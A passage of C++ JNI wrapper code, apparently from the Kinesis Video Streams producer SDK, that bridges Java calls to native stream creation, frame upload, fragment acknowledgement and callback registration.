goto CleanUp;
}
if (STATUS_FAILED(retStatus = ::createKinesisVideoStream(mClientHandle, &kinesisVideoStreamInfo, &streamHandle)))
{
DLOGE("Failed to create a stream with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed to create a stream.", retStatus);
goto CleanUp;
}
CleanUp:
// Release the Segment UUID memory if any
if (kinesisVideoStreamInfo.streamCaps.segmentUuid != NULL) {
MEMFREE(kinesisVideoStreamInfo.streamCaps.segmentUuid);
kinesisVideoStreamInfo.streamCaps.segmentUuid = NULL;
}
// Release the temporary memory allocated for cpd
for (i = 0; i < kinesisVideoStreamInfo.streamCaps.trackInfoCount; ++i) {
if (kinesisVideoStreamInfo.streamCaps.trackInfoList[i].codecPrivateData != NULL) {
MEMFREE(kinesisVideoStreamInfo.streamCaps.trackInfoList[i].codecPrivateData);
kinesisVideoStreamInfo.streamCaps.trackInfoList[i].codecPrivateData = NULL;
kinesisVideoStreamInfo.streamCaps.trackInfoList[i].codecPrivateDataSize = 0;
}
}
if (kinesisVideoStreamInfo.streamCaps.trackInfoList != NULL) {
MEMFREE(kinesisVideoStreamInfo.streamCaps.trackInfoList);
kinesisVideoStreamInfo.streamCaps.trackInfoList = NULL;
kinesisVideoStreamInfo.streamCaps.trackInfoCount = 0;
}
releaseTags(kinesisVideoStreamInfo.tags);
return streamHandle;
}
void KinesisVideoClientWrapper::putKinesisVideoFrame(jlong streamHandle, jobject kinesisVideoFrame)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
if (!IS_VALID_STREAM_HANDLE(streamHandle))
{
DLOGE("Invalid stream handle 0x%016" PRIx64, (UINT64) streamHandle);
throwNativeException(env, EXCEPTION_NAME, "Invalid stream handle.", STATUS_INVALID_OPERATION);
return;
}
if (kinesisVideoFrame == NULL)
{
DLOGE("Invalid kinesis video frame.");
throwNativeException(env, EXCEPTION_NAME, "Kinesis video frame is null.", STATUS_INVALID_OPERATION);
return;
}
// Convert the KinesisVideoFrame object
Frame frame;
if (!setFrame(env, kinesisVideoFrame, &frame))
{
DLOGE("Failed converting frame object.");
throwNativeException(env, EXCEPTION_NAME, "Failed converting frame object.", STATUS_INVALID_OPERATION);
return;
}
PStreamInfo pStreamInfo;
UINT32 zeroCount = 0;
::kinesisVideoStreamGetStreamInfo(streamHandle, &pStreamInfo);
if ((pStreamInfo->streamCaps.nalAdaptationFlags & NAL_ADAPTATION_ANNEXB_NALS) != NAL_ADAPTATION_FLAG_NONE) {
// In some devices encoder would generate annexb frames with more than 3 trailing zeros
// which is not allowed by AnnexB specification
while (frame.size > zeroCount) {
if (frame.frameData[frame.size - 1 - zeroCount] != 0) {
break;
} else {
zeroCount++;
}
}
// Only remove zeros when zero count is more than 2
if (zeroCount > 2) {
frame.size -= zeroCount;
}
}
if (STATUS_FAILED(retStatus = ::putKinesisVideoFrame(streamHandle, &frame)))
{
DLOGE("Failed to put a frame with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed to put a frame into the stream.", retStatus);
return;
}
}
void KinesisVideoClientWrapper::putKinesisVideoFragmentMetadata(jlong streamHandle, jstring metadataName, jstring metadataValue, jboolean persistent)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
if (!IS_VALID_STREAM_HANDLE(streamHandle))
{
DLOGE("Invalid stream handle 0x%016" PRIx64, (UINT64) streamHandle);
throwNativeException(env, EXCEPTION_NAME, "Invalid stream handle.", STATUS_INVALID_OPERATION);
return;
}
if (metadataName == NULL || metadataValue == NULL)
{
DLOGE("metadataName or metadataValue is NULL");
throwNativeException(env, EXCEPTION_NAME, "metadataName or metadataValue is NULL.", STATUS_INVALID_OPERATION);
return;
}
// Convert the jstring to PCHAR
PCHAR pMetadataNameStr = (PCHAR) env->GetStringUTFChars(metadataName, NULL);
PCHAR pMetadataValueStr = (PCHAR) env->GetStringUTFChars(metadataValue, NULL);
// Call the API
retStatus = ::putKinesisVideoFragmentMetadata(streamHandle, pMetadataNameStr, pMetadataValueStr, persistent == JNI_TRUE);
// Release the string
env->ReleaseStringUTFChars(metadataName, pMetadataNameStr);
env->ReleaseStringUTFChars(metadataValue, pMetadataValueStr);
if (STATUS_FAILED(retStatus))
{
DLOGE("Failed to put a metadata with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed to put a metadata into the stream.", retStatus);
return;
}
}
void KinesisVideoClientWrapper::getKinesisVideoStreamData(jlong streamHandle, jlong uploadHandle, jobject dataBuffer, jint offset, jint length, jobject readResult)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
UINT32 filledSize = 0, bufferSize = 0;
PBYTE pBuffer = NULL;
jboolean isEos = JNI_FALSE;
jclass readResultClass;
jmethodID setterMethodId;
if (NULL == readResult)
{
DLOGE("NULL ReadResult object");
throwNativeException(env, EXCEPTION_NAME, "NULL ReadResult object is passsed.", STATUS_NULL_ARG);
goto CleanUp;
}
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
goto CleanUp;
}
if (!IS_VALID_STREAM_HANDLE(streamHandle))
{
DLOGE("Invalid stream handle 0x%016" PRIx64, (UINT64) streamHandle);
throwNativeException(env, EXCEPTION_NAME, "Invalid stream handle.", STATUS_INVALID_OPERATION);
goto CleanUp;
}
if (dataBuffer == NULL)
{
DLOGE("Invalid buffer object.");
throwNativeException(env, EXCEPTION_NAME, "Invalid buffer object.", STATUS_INVALID_OPERATION);
goto CleanUp;
}
// Convert the buffer of stream data to get
if (!setStreamDataBuffer(env, dataBuffer, offset, &pBuffer))
{
DLOGE("Failed converting kinesis video stream data buffer object.");
throwNativeException(env, EXCEPTION_NAME, "Failed converting kinesis video stream data buffer object.", STATUS_INVALID_OPERATION);
goto CleanUp;
}
retStatus = ::getKinesisVideoStreamData(streamHandle, uploadHandle, pBuffer, (UINT32) length, &filledSize);
if (STATUS_SUCCESS != retStatus && STATUS_AWAITING_PERSISTED_ACK != retStatus
&& STATUS_UPLOAD_HANDLE_ABORTED != retStatus
&& STATUS_NO_MORE_DATA_AVAILABLE != retStatus && STATUS_END_OF_STREAM != retStatus)
{
char errMessage[256];
SNPRINTF(errMessage, 256, "Failed to get data from the stream 0x%016" PRIx64 " with uploadHandle %" PRIu64 , (UINT64) streamHandle, (UINT64) uploadHandle);
DLOGE("Failed to get data from the stream with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, errMessage, retStatus);
goto CleanUp;
}
if (STATUS_END_OF_STREAM == retStatus || STATUS_UPLOAD_HANDLE_ABORTED == retStatus) {
isEos = JNI_TRUE;
}
// Get the class
readResultClass = env->GetObjectClass(readResult);
if (readResultClass == NULL){
DLOGE("Failed to get ReadResult class object");
throwNativeException(env, EXCEPTION_NAME, "Failed to get ReadResult class object.", STATUS_INVALID_OPERATION);
goto CleanUp;
}
// Get the Java method id
setterMethodId = env->GetMethodID(readResultClass, "setReadResult", "(IZ)V");
if (setterMethodId == NULL)
{
DLOGE("Failed to get the setter method id.");
throwNativeException(env, EXCEPTION_NAME, "Failed to get setter method id.", STATUS_INVALID_OPERATION);
goto CleanUp;
}
// Call the setter method
env->CallVoidMethod(readResult,
setterMethodId,
filledSize,
isEos);
CleanUp:
if (!releaseStreamDataBuffer(env, dataBuffer, offset, pBuffer))
{
DLOGE("Failed releasing kinesis video stream data buffer object.");
throwNativeException(env, EXCEPTION_NAME, "Failed releasing kinesis video stream data buffer object.", STATUS_INVALID_OPERATION);
}
}
void KinesisVideoClientWrapper::kinesisVideoStreamFragmentAck(jlong streamHandle, jlong uploadHandle, jobject fragmentAck)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
FragmentAck ack;
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
if (!IS_VALID_STREAM_HANDLE(streamHandle))
{
DLOGE("Invalid stream handle 0x%016" PRIx64, (UINT64) streamHandle);
throwNativeException(env, EXCEPTION_NAME, "Invalid stream handle.", STATUS_INVALID_OPERATION);
return;
}
if (fragmentAck == NULL)
{
DLOGE("Invalid fragment ack");
throwNativeException(env, EXCEPTION_NAME, "Invalid fragment ack.", STATUS_INVALID_OPERATION);
return;
}
// Convert the KinesisVideoFrame object
if (!setFragmentAck(env, fragmentAck, &ack))
{
DLOGE("Failed converting frame object.");
throwNativeException(env, EXCEPTION_NAME, "Failed converting fragment ack object.", STATUS_INVALID_OPERATION);
return;
}
if (STATUS_FAILED(retStatus = ::kinesisVideoStreamFragmentAck(streamHandle, uploadHandle, &ack)))
{
DLOGE("Failed to report a fragment ack with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed to report a fragment ack.", retStatus);
return;
}
}
void KinesisVideoClientWrapper::kinesisVideoStreamParseFragmentAck(jlong streamHandle, jlong uploadHandle, jstring ack)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
if (!IS_VALID_STREAM_HANDLE(streamHandle))
{
DLOGE("Invalid stream handle 0x%016" PRIx64, (UINT64) streamHandle);
throwNativeException(env, EXCEPTION_NAME, "Invalid stream handle.", STATUS_INVALID_OPERATION);
return;
}
if (ack == NULL)
{
DLOGE("Invalid ack");
throwNativeException(env, EXCEPTION_NAME, "Invalid ack.", STATUS_INVALID_OPERATION);
return;
}
// Convert the jstring to PCHAR
PCHAR pAckStr = (PCHAR) env->GetStringUTFChars(ack, NULL);
// Call the API
retStatus = ::kinesisVideoStreamParseFragmentAck(streamHandle, uploadHandle, pAckStr, 0);
// Release the string
env->ReleaseStringUTFChars(ack, pAckStr);
if (STATUS_FAILED(retStatus))
{
DLOGE("Failed to parse a fragment ack with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed to parse a fragment ack.", retStatus);
return;
}
}
void KinesisVideoClientWrapper::streamFormatChanged(jlong streamHandle, jobject codecPrivateData, jlong trackId)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
UINT32 bufferSize = 0;
PBYTE pBuffer = NULL;
BOOL releaseBuffer = FALSE;
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
goto CleanUp;
}
if (!IS_VALID_STREAM_HANDLE(streamHandle))
{
DLOGE("Invalid stream handle 0x%016" PRIx64, (UINT64) streamHandle);
throwNativeException(env, EXCEPTION_NAME, "Invalid stream handle.", STATUS_INVALID_OPERATION);
goto CleanUp;
}
// Get the codec private data byte buffer - null object has a special semmantic of clearing the CPD
if (codecPrivateData != NULL) {
bufferSize = (UINT32) env->GetArrayLength((jbyteArray) codecPrivateData);
if (NULL == (pBuffer = (PBYTE) env->GetByteArrayElements((jbyteArray) codecPrivateData, NULL)))
{
DLOGE("Failed getting byte buffer from the java array.");
throwNativeException(env, EXCEPTION_NAME, "Failed getting byte buffer from the java array.", STATUS_INVALID_OPERATION);
goto CleanUp;
}
// Make sure the buffer is released at the end
releaseBuffer = TRUE;
} else {
pBuffer = NULL;
bufferSize = 0;
}
if (STATUS_FAILED(retStatus = ::kinesisVideoStreamFormatChanged(streamHandle, bufferSize, pBuffer, trackId)))
{
DLOGE("Failed to set the stream format with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed to set the stream format.", retStatus);
goto CleanUp;
}
CleanUp:
if (releaseBuffer)
{
env->ReleaseByteArrayElements((jbyteArray) codecPrivateData, (jbyte*) pBuffer, JNI_ABORT);
}
}
void KinesisVideoClientWrapper::describeStreamResult(jlong streamHandle, jint httpStatusCode, jobject streamDescription)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
StreamDescription streamDesc;
PStreamDescription pStreamDesc = NULL;
if (NULL != streamDescription) {
if (!setStreamDescription(env, streamDescription, &streamDesc)) {
DLOGE("Failed converting stream description object.");
throwNativeException(env, EXCEPTION_NAME, "Failed converting stream description object.",
STATUS_INVALID_OPERATION);
return;
}
// Assign the converted object address.
pStreamDesc = &streamDesc;
}
if (STATUS_FAILED(retStatus = ::describeStreamResultEvent(streamHandle, (SERVICE_CALL_RESULT) httpStatusCode, pStreamDesc)))
{
DLOGE("Failed to describe stream result event with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed to describe stream result event.", retStatus);
return;
}
}
void KinesisVideoClientWrapper::kinesisVideoStreamTerminated(jlong streamHandle, jlong uploadHandle, jint httpStatusCode)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
if (STATUS_FAILED(retStatus = ::kinesisVideoStreamTerminated(streamHandle, uploadHandle, (SERVICE_CALL_RESULT) httpStatusCode)))
{
DLOGE("Failed to submit stream terminated event with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed to submit stream terminated event.", retStatus);
return;
}
}
void KinesisVideoClientWrapper::createStreamResult(jlong streamHandle, jint httpStatusCode, jstring streamArn)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
PCHAR pStreamArn = NULL;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
if (streamArn != NULL) {
pStreamArn = (PCHAR) env->GetStringUTFChars(streamArn, NULL);
}
retStatus = ::createStreamResultEvent(streamHandle, (SERVICE_CALL_RESULT) httpStatusCode, pStreamArn);
// Ensure we release the string
if (pStreamArn != NULL) {
env->ReleaseStringUTFChars(streamArn, pStreamArn);
}
if (STATUS_FAILED(retStatus))
{
DLOGE("Failed to create stream result event with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed to create stream result event.", retStatus);
return;
}
}
void KinesisVideoClientWrapper::putStreamResult(jlong streamHandle, jint httpStatusCode, jlong clientStreamHandle)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
if (STATUS_FAILED(retStatus = ::putStreamResultEvent(streamHandle, (SERVICE_CALL_RESULT) httpStatusCode, (UINT64) clientStreamHandle)))
{
DLOGE("Failed to put stream result event with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed to put stream result event.", retStatus);
return;
}
}
void KinesisVideoClientWrapper::tagResourceResult(jlong customData, jint httpStatusCode)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
if (STATUS_FAILED(retStatus = ::tagResourceResultEvent(customData, (SERVICE_CALL_RESULT) httpStatusCode)))
{
DLOGE("Failed on tag resource result event with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed on tag resource result event.", retStatus);
return;
}
}
void KinesisVideoClientWrapper::getStreamingEndpointResult(jlong streamHandle, jint httpStatusCode, jstring streamingEndpoint)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
CHAR pEndpoint[MAX_URI_CHAR_LEN + 1];
if (!setStreamingEndpoint(env, streamingEndpoint, pEndpoint))
{
DLOGE("Failed converting streaming endpoint object.");
throwNativeException(env, EXCEPTION_NAME, "Failed converting streaming endpoint object.", STATUS_INVALID_OPERATION);
return;
}
if (STATUS_FAILED(retStatus = ::getStreamingEndpointResultEvent(streamHandle, (SERVICE_CALL_RESULT) httpStatusCode, pEndpoint)))
{
DLOGE("Failed to get streaming endpoint result event with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed to get streaming endpoint result event.", retStatus);
return;
}
}
void KinesisVideoClientWrapper::getStreamingTokenResult(jlong streamHandle, jint httpStatusCode, jbyteArray streamingToken, jint tokenSize, jlong expiration)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
if (tokenSize > MAX_AUTH_LEN) {
DLOGE("Invalid token size");
throwNativeException(env, EXCEPTION_NAME, "Invalid token size", STATUS_INVALID_OPERATION);
return;
}
BYTE pToken[MAX_AUTH_LEN];
env->GetByteArrayRegion(streamingToken, 0, tokenSize, (jbyte *) pToken);
if (STATUS_FAILED(retStatus = ::getStreamingTokenResultEvent(streamHandle,
(SERVICE_CALL_RESULT) httpStatusCode,
pToken,
(UINT32) tokenSize,
(UINT64) expiration)))
{
DLOGE("Failed to get streaming token result event with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed to get streaming token result event.", retStatus);
return;
}
}
void KinesisVideoClientWrapper::createDeviceResult(jlong clientHandle, jint httpStatusCode, jstring deviceArn)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
PCHAR pDeviceArn = NULL;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
if (deviceArn != NULL) {
pDeviceArn = (PCHAR) env->GetStringUTFChars(deviceArn, NULL);
}
retStatus = ::createDeviceResultEvent(clientHandle, (SERVICE_CALL_RESULT) httpStatusCode, pDeviceArn);
// Ensure we release the string
if (pDeviceArn != NULL) {
env->ReleaseStringUTFChars(deviceArn, pDeviceArn);
}
if (STATUS_FAILED(retStatus))
{
DLOGE("Failed to create device result event with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed to create device result event.", retStatus);
return;
}
}
void KinesisVideoClientWrapper::deviceCertToTokenResult(jlong clientHandle, jint httpStatusCode, jbyteArray token, jint tokenSize, jlong expiration)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
if (tokenSize > MAX_AUTH_LEN) {
DLOGE("Invalid token size");
throwNativeException(env, EXCEPTION_NAME, "Invalid token size", STATUS_INVALID_OPERATION);
return;
}
BYTE pToken[MAX_AUTH_LEN];
env->GetByteArrayRegion(token, 0, tokenSize, (jbyte *) pToken);
if (STATUS_FAILED(retStatus = ::deviceCertToTokenResultEvent(clientHandle,
(SERVICE_CALL_RESULT) httpStatusCode,
pToken,
(UINT32) tokenSize,
(UINT64) expiration)))
{
DLOGE("Failed the deviceCertToToken result event with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed the deviceCertToToken result event.", retStatus);
return;
}
}
BOOL KinesisVideoClientWrapper::setCallbacks(JNIEnv* env, jobject thiz)
{
CHECK(env != NULL && thiz != NULL);
// The customData will point to this object
mClientCallbacks.customData = POINTER_TO_HANDLE(this);
// Need the current version of the structure
mClientCallbacks.version = CALLBACKS_CURRENT_VERSION;
// Set the function pointers
mClientCallbacks.getCurrentTimeFn = getCurrentTimeFunc;
mClientCallbacks.getRandomNumberFn = getRandomNumberFunc;
mClientCallbacks.createMutexFn = createMutexFunc;
mClientCallbacks.lockMutexFn = lockMutexFunc;
mClientCallbacks.unlockMutexFn = unlockMutexFunc;
mClientCallbacks.tryLockMutexFn = tryLockMutexFunc;
mClientCallbacks.freeMutexFn = freeMutexFunc;
mClientCallbacks.createConditionVariableFn = createConditionVariableFunc;
mClientCallbacks.signalConditionVariableFn = signalConditionVariableFunc;
mClientCallbacks.broadcastConditionVariableFn = broadcastConditionVariableFunc;
mClientCallbacks.waitConditionVariableFn = waitConditionVariableFunc;
mClientCallbacks.freeConditionVariableFn = freeConditionVariableFunc;
mClientCallbacks.getDeviceCertificateFn = getDeviceCertificateFunc;
mClientCallbacks.getSecurityTokenFn = getSecurityTokenFunc;
mClientCallbacks.getDeviceFingerprintFn = getDeviceFingerprintFunc;
mClientCallbacks.streamUnderflowReportFn = streamUnderflowReportFunc;
mClientCallbacks.storageOverflowPressureFn = storageOverflowPressureFunc;
mClientCallbacks.streamLatencyPressureFn = streamLatencyPressureFunc;
mClientCallbacks.streamConnectionStaleFn = streamConnectionStaleFunc;
mClientCallbacks.fragmentAckReceivedFn = fragmentAckReceivedFunc;
mClientCallbacks.droppedFrameReportFn = droppedFrameReportFunc;
mClientCallbacks.bufferDurationOverflowPressureFn = bufferDurationOverflowPressureFunc;
mClientCallbacks.droppedFragmentReportFn = droppedFragmentReportFunc;
mClientCallbacks.streamErrorReportFn = streamErrorReportFunc;
mClientCallbacks.streamDataAvailableFn = streamDataAvailableFunc;
mClientCallbacks.streamReadyFn = streamReadyFunc;
mClientCallbacks.streamClosedFn = streamClosedFunc;
mClientCallbacks.createStreamFn = createStreamFunc;
mClientCallbacks.describeStreamFn = describeStreamFunc;
mClientCallbacks.getStreamingEndpointFn = getStreamingEndpointFunc;
mClientCallbacks.getStreamingTokenFn = getStreamingTokenFunc;
mClientCallbacks.putStreamFn = putStreamFunc;
mClientCallbacks.tagResourceFn = tagResourceFunc;
mClientCallbacks.clientReadyFn = clientReadyFunc;
mClientCallbacks.createDeviceFn = createDeviceFunc;
mClientCallbacks.deviceCertToTokenFn = deviceCertToTokenFunc;
// TODO: Currently we set the shutdown callbacks to NULL.
// We need to expose these in the near future
mClientCallbacks.clientShutdownFn = NULL;
mClientCallbacks.streamShutdownFn = NULL;
// We do not expose logging functionality to Java
// as the signature of the function does not have "custom_data"
// to properly map to the client object.
// We will use the default logger for Java.
mClientCallbacks.logPrintFn = NULL;
// Extract the method IDs for the callbacks and set a global reference
jclass thizCls = env->GetObjectClass(thiz);
if (thizCls == NULL) {
DLOGE("Failed to get the object class for the JNI object.");
return FALSE;
}
// Setup the environment and the callbacks
if (NULL == (mGlobalJniObjRef = env->NewGlobalRef(thiz))) {
DLOGE("Failed to create a global reference for the JNI object.");
return FALSE;
}
// Extract the method IDs
mGetDeviceCertificateMethodId = env->GetMethodID(thizCls, "getDeviceCertificate", "()Lcom/amazonaws/kinesisvideo/producer/AuthInfo;");
if (mGetDeviceCertificateMethodId == NULL) {
DLOGE("Couldn't find method id getDeviceCertificate");
return FALSE;
}
mGetSecurityTokenMethodId = env->GetMethodID(thizCls, "getSecurityToken", "()Lcom/amazonaws/kinesisvideo/producer/AuthInfo;");
if (mGetSecurityTokenMethodId == NULL) {
DLOGE("Couldn't find method id getSecurityToken");
return FALSE;
}
mGetDeviceFingerprintMethodId = env->GetMethodID(thizCls, "getDeviceFingerprint", "()Ljava/lang/String;");
if (mGetDeviceFingerprintMethodId == NULL) {
DLOGE("Couldn't find method id getDeviceFingerprint");
return FALSE;
}
mStreamUnderflowReportMethodId = env->GetMethodID(thizCls, "streamUnderflowReport", "(J)V");
if (mStreamUnderflowReportMethodId == NULL) {
DLOGE("Couldn't find method id streamUnderflowReport");
return FALSE;
}
mStorageOverflowPressureMethodId = env->GetMethodID(thizCls, "storageOverflowPressure", "(J)V");
if (mStorageOverflowPressureMethodId == NULL) {
DLOGE("Couldn't find method id storageOverflowPressure");
return FALSE;
}
mStreamLatencyPressureMethodId = env->GetMethodID(thizCls, "streamLatencyPressure", "(JJ)V");
if (mStreamLatencyPressureMethodId == NULL) {
DLOGE("Couldn't find method id streamLatencyPressure");
return FALSE;
}
mStreamConnectionStaleMethodId = env->GetMethodID(thizCls, "streamConnectionStale", "(JJ)V");
if (mStreamConnectionStaleMethodId == NULL) {
DLOGE("Couldn't find method id streamConnectionStale");
return FALSE;
}
mFragmentAckReceivedMethodId = env->GetMethodID(thizCls, "fragmentAckReceived", "(JJLcom/amazonaws/kinesisvideo/producer/KinesisVideoFragmentAck;)V");
if (mFragmentAckReceivedMethodId == NULL) {
DLOGE("Couldn't find method id fragmentAckReceived");
return FALSE;
}
mDroppedFrameReportMethodId = env->GetMethodID(thizCls, "droppedFrameReport", "(JJ)V");
if (mDroppedFrameReportMethodId == NULL) {
DLOGE("Couldn't find method id droppedFrameReport");
return FALSE;
}
mBufferDurationOverflowPressureMethodId = env->GetMethodID(thizCls, "bufferDurationOverflowPressure", "(JJ)V");
if (mBufferDurationOverflowPressureMethodId == NULL) {
DLOGE("Couldn't find method id bufferDurationOverflowPressure");
return FALSE;
}
mDroppedFragmentReportMethodId = env->GetMethodID(thizCls, "droppedFragmentReport", "(JJ)V");
if (mDroppedFragmentReportMethodId == NULL) {
DLOGE("Couldn't find method id droppedFragmentReport");
return FALSE;
}
mStreamErrorReportMethodId = env->GetMethodID(thizCls, "streamErrorReport", "(JJJJ)V");
if (mStreamErrorReportMethodId == NULL) {
DLOGE("Couldn't find method id streamErrorReport");
return FALSE;
}
mStreamDataAvailableMethodId = env->GetMethodID(thizCls, "streamDataAvailable", "(JLjava/lang/String;JJJ)V");
if (mStreamDataAvailableMethodId == NULL) {
DLOGE("Couldn't find method id streamDataAvailable");
return FALSE;
}
mStreamReadyMethodId = env->GetMethodID(thizCls, "streamReady", "(J)V");
if (mStreamReadyMethodId == NULL) {
DLOGE("Couldn't find method id streamReady");
return FALSE;
}
mStreamClosedMethodId = env->GetMethodID(thizCls, "streamClosed", "(JJ)V");
if (mStreamClosedMethodId == NULL) {
DLOGE("Couldn't find method id streamClosed");
return FALSE;
}
mCreateStreamMethodId = env->GetMethodID(thizCls, "createStream", "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;JJJ[BIJ)I");
if (mCreateStreamMethodId == NULL) {
DLOGE("Couldn't find method id createStream");
return FALSE;
}
mDescribeStreamMethodId = env->GetMethodID(thizCls, "describeStream", "(Ljava/lang/String;JJ[BIJ)I");
if (mDescribeStreamMethodId == NULL) {
DLOGE("Couldn't find method id describeStream");
return FALSE;
}
mGetStreamingEndpointMethodId = env->GetMethodID(thizCls, "getStreamingEndpoint", "(Ljava/lang/String;Ljava/lang/String;JJ[BIJ)I");
if (mGetStreamingEndpointMethodId == NULL) {
DLOGE("Couldn't find method id getStreamingEndpoint");
return FALSE;
}
mGetStreamingTokenMethodId = env->GetMethodID(thizCls, "getStreamingToken", "(Ljava/lang/String;JJ[BIJ)I");
if (mGetStreamingTokenMethodId == NULL) {
DLOGE("Couldn't find method id getStreamingToken");
return FALSE;
}
mPutStreamMethodId = env->GetMethodID(thizCls, "putStream", "(Ljava/lang/String;Ljava/lang/String;JZZLjava/lang/String;JJ[BIJ)I");
if (mPutStreamMethodId == NULL) {
DLOGE("Couldn't find method id putStream");
return FALSE;
}
mTagResourceMethodId = env->GetMethodID(thizCls, "tagResource", "(Ljava/lang/String;[Lcom/amazonaws/kinesisvideo/producer/Tag;JJ[BIJ)I");
if (mTagResourceMethodId == NULL) {
DLOGE("Couldn't find method id tagResource");
return FALSE;
}
mClientReadyMethodId = env->GetMethodID(thizCls, "clientReady", "(J)V");
if (mClientReadyMethodId == NULL) {
DLOGE("Couldn't find method id clientReady");
return FALSE;
}
mCreateDeviceMethodId = env->GetMethodID(thizCls, "createDevice", "(Ljava/lang/String;JJ[BIJ)I");
